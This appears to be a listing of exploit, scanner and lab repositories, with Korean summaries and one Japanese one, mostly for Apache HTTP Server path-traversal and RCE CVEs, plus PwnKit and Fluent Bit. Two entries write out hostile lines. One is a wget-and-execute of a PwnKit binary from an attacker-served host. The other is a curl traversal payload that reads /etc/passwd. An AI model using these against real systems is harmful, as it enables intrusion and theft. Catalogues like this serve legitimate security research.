CVE-2021-4034

PwnBringer PwnKit의 자동 생성 및 서빙 pwnkit용 소스 코드를 바이너리로 컴파일하고 자동으로 파이썬 서버가 실행됩니다. 이것은 프로토타입입니다. 따라서 환경에 따라 작동하지 않을 수 있습니다. chmod +x PwnBringer.py ./PwnBringer.py VictimSide user1@deb:$ wget http://192.168.0.4:1234/PwnKit user1@deb:$ chmod +x PwnKit user1@deb:$ ./PwnKit or user1@deb:$ curl...

CVE-2021-41773

CVE-2021-41773 Apache2 2.4.49 - LFI 및 RCE 익스플로잇 정보 Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution RCE Exploit Author: Gaurav Raj https://gauravraj.xyz https://blog.gauravraj.xyz Vendor Homepage: https://apache.org/ Version: 2.4.49 Tested on: 2.4.49 CVE :...

Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit

CVE-2021-41773 및 CVE-2021-42013 악용 도구 Apache/2.4.49-2.4.50에서의 경로 탐색 공격 및 RCE 기능 - URL 목록 입력 가능 - CGI 및 비-CGI 모두 지원 - Apache/2.4.49 - 2.4.50 지원 사용법 $ git clone https://github.com/CalfCrusher/Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit $ cd Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit && pip...

CVE-2024-40275_Scanner

CVE-2024-40725 스캐너 CVE-2024-40725 용 Python 기반 탐지 도구로, 2.4.0 및 2.4.61 버전에 영향을 미치는 Apache HTTP Server 소스 코드 노출 취약점입니다. 법적 고지: 이 스캐너는 본인이 소유하거나 명시적인 서면 테스트 승인을 받은 서버에서만 실행하십시오. 무단 사용은 컴퓨터 사기 관련 법률예: CFAA, Computer Misuse Act을 위반할 수 있습니다. 배경 CVE-2024-40725은 버전 2.4.0에 도입된 Apache 내부 요청 파이프라인의...

Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

🔥 CVE-2021-44790 - Apache modlua 버퍼 오버플로우 익스플로잇 📋 개요 Apache modlua Buffer Overflow Exploitation 은 Apache HTTP Server 2.4.x modlua 모듈의 치명적인 버퍼 오버플로우 취약점인 CVE-2021-44790 을 위한 고급 엔터프라이즈급 익스플로잇 플랫폼입니다. 이 프레임워크는 포괄적인 핑거프린팅, 지능형 스크립트 발견, 다단계 스캐닝 및 95% 이상의 신뢰도 탐지 와 함께 전문적인 보고 기능을 제공합니다. ⚡ 주요 기능 기능| 설명...

cve-2021-41773-lab

CVE-2021-41773 — 최소 FastAPI 랩 파일 시스템 경계를 검증하기 전에 사용자 입력을 디코딩하면 디렉터리 트래버설 및 로컬 파일 포함LFI으로 이어질 수 있음을 보여주는 작고 독립적인 FastAPI 랩입니다. Apache HTTP Server의 CVE-2021-41773 문제를 모델로 삼았습니다. 기능 최소한의 읽기 쉬운 FastAPI 예제: 취약한 서버와 패치된 서버 단일 인코딩%2e 및 이중 인코딩%252e 우회를 시연 루트 엔드포인트에 curl로 테스트할 수 있는 빠른 페이로드 포함 Docker 불필요 —...

Important: Red Hat Security Advisory: mod_auth_openidc security update

An update for modauthopenidc is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability...

mod_auth_openidc: mod_auth_openidc: Denial of Service via malformed state cookie parsing

A flaw was found in modauthopenidc, an OpenID Connect Relying Party module for Apache HTTP servers. A remote attacker can exploit this vulnerability by sending a specially crafted HTTP request with a malformed state cookie. This can lead to an out-of-bounds read and a one-byte out-of-bounds write...

cve-2021-41773-source-code-analysis

Apache HTTP Server CVE-2021-41773 소스 코드 분석 CVE-2021-41773 Apache HTTP Server 경로 탐색 의 근본 원인과 수정 사항을 연구하기 위해 취약한 Apache HTTP Server 2.4.49 소스 코드와 패치된 2.4.51 구현을 비교하는 Python 기반 정적 패치 분석 도구입니다. 이 프로젝트는 단순한 텍스트 기반 diff 대신 의미론적 소스 코드 분석을 수행합니다. 대상 함수에서 구조적 정보를 추출하고, 두 버전을 비교하며, 보안 관련 변경 사항을 추론하고, 전문적인 ...

CVE-2021-41773-apache

CVE-2021-41773 Apache HTTP 서버 익스플로잇 이 저장소는 CVE-2021-41773으로 식별된 Apache HTTP 서버 경로 탐색 취약점에 대한 Python 기반 개념 증명 익스플로잇을 포함합니다. 이 스크립트는 보안 연구, 방어 테스트 및 취약한 시스템에 대한 공인된 평가를 위해 설계되었습니다. 개요 CVE-2021-41773은 Apache HTTP Server 버전 2.4.49 및 관련 구성에 영향을 미치는 경로 탐색 취약점으로, 서버가 특정 CGI 요청 경로에서 인코딩된 탐색 시퀀스를 부적절하게...

Myesve

myesve CVE-2024-38475 공격 프레임워크 – 버전 1.0 면책 조항: 이 도구는 승인된 보안 테스트, 교육 연구 및 합법적인 버그 바운티 프로그램을 위해서만 사용됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다. myesve는 CVE-2024-38475아파치 HTTP 서버의 소스 코드 노출 취약점를 탐지하고 악용하는 모듈형 도구입니다. 디렉터리 스캔, 다중 스레드 악용, 파일 다운로드, 선택적 Mullvad VPN 회전을 결합합니다...

EP3_Redes

EP3Redes CVE-2023-29406 취약점 분석을 위한 GO 기반 HTML 서버 구현...

CVE-2024-40898-SSL-Bypass-Detection

CVE-2024-40898 SSL 인증서 검증 우회 스캐너 이 저장소에는 Apache HTTP Server의 취약점인 CVE-2024-40898을 탐지하는 Python 기반 개념 증명PoC 스크립트가 포함되어 있습니다. 이 취약점은 공격자가 SSL 인증서 검증을 우회할 수 있게 합니다. 개요 CVE-2024-40898은 Apache HTTP Server의 보안 문제로, 특정 조건에서 클라이언트가 인증서 검증을 우회할 수 있게 합니다. 이로 인해 TLS를 통한 중간자MitM 공격이 발생할 수 있습니다. 이 스크립트의 기능 •...

CVE-2020-35667-PoC

CVE-2020-35667-PoC 개요 면책 고지 아래에 설명된 취약한 동작은 디컴파일된 패치된 아티팩트로부터 경험적으로 검증되었으며, 이는 원래 취약한 플러그인 릴리스가 더 이상 제공되지 않기 때문에 휴리스틱 접근 방식으로 추론된 원래 취약성을 모방하려고 시도합니다. 저장소에는 격리된 실험실 재현에 사용되는 패치된 버전에서 파생된 최소 편집된 빌드가 포함된 zip 파일이 포함되어 있습니다. 이 CVE는 IntelliJ IDEA TeamCity 통합 플러그인에 관한 것입니다. 이 플러그인은 IDE와 TeamCityCI/CD...

CVE-2021-40438

CVE-2021-40438 요청 uri-path는 modproxy가 요청을 원격 사용자가 선택한 원본 서버로 전달하도록 만들 수 있습니다. 이 문제는 Apache HTTP Server 2.4.48 및 이전 버전에 영향을 미칩니다. 공격자는 요청을 제작하여 이 취약점의 uri-path를 악용할 수 있으며, 이로 인해 modproxy가 요청을 공격자가 선택한 원본 서버로 전달하게 됩니다. Apache HTTP Server의 modproxy 구성 요소는 Apache HTTP Server를 위한 프록시/게이트웨이 기능을 구현하도록...

cve-2021-41773-docker-lab

ラボ CVE-2021-41773 CVE-2021-41773 で遊んだり学んだりするためのコンテナラボ ファイル開示: $ docker build -t apache-default defaultconf $ docker run -dit --name apache-app -p 81:80 apache-default PoC curl -s --path-as-is "http://iptarget:80/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" 出力 注: 出力は実際の事例からのものです。 curl -s...

CVE-2021-42013

CVE-2021-41773 / CVE-2021-42013 Apache 취약점 스캐너 Apache HTTP Server 2.4.49 및 2.4.50 버전에서 CVE-2021-41773 및 CVE-2021-42013 경로 순회path traversal 및 원격 코드 실행remote code execution 취약점을 탐지하는 포괄적인 Python 기반 취약점 스캐너입니다. 개요 CVE-2021-41773 및 CVE-2021-42013은 Apache HTTP Server에 영향을 미치는 치명적인 취약점으로, 공격자가 다음을 수행할 ...

cve-2021-41773-checker

🛑 CVE-2021-41773 점검기 CVE-2021-41773 점검기는 대상 웹 서버가 Apache HTTP Server 2.4.49에 영향을 미치는 Apache 경로 탐색 취약점에 취약한지 확인하는 Python 기반 CLI 도구입니다. 이 도구는 CVE가 어떻게 식별되고 검증되는지 이해하기 위한 학습 중심의 개념 증명으로 설계되었습니다. 개요 CVE-2021-41773은 Apache HTTP Server 버전 2.4.49의 경로 탐색 취약점으로, 특정 구성에서 공격자가 웹 루트 외부의 파일에 접근할 수 있게 합니다. 이 도...

CVE-2024-4323-Exploit-POC

CVE-2024-4323-익스플로잇-POC 이 개념 증명 스크립트는 Fluent Bit의 메모리 손상 취약점인 CVE-2024-4323을 악용하여 원격 코드 실행을 가능하게 하는 방법을 보여줍니다. CVE-2024-4323은 Fluent Bit 버전 2.0.7부터 3.0.3까지의 메모리 손상 취약점입니다. 이 문제는 내장 HTTP 서버의 trace 요청 파싱에 있으며, 서비스 거부DoS, 정보 노출 또는 원격 코드 실행RCE로 이어질 수 있습니다 MITRE CVE Launchpad. 취약점 및 완화 조치에 대한 자세한 내용은...

CVE-2021-41773

CVE-2021-41773 사용법 docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py CVE-2021-41773이란? CVE-2021-41773 Apache HTTP Server 2.4.49의 디렉토리 트래버설 취약점입니다. Require all denied가 설정되지 않은 경우에 발생합니다. %2e로 인코딩된...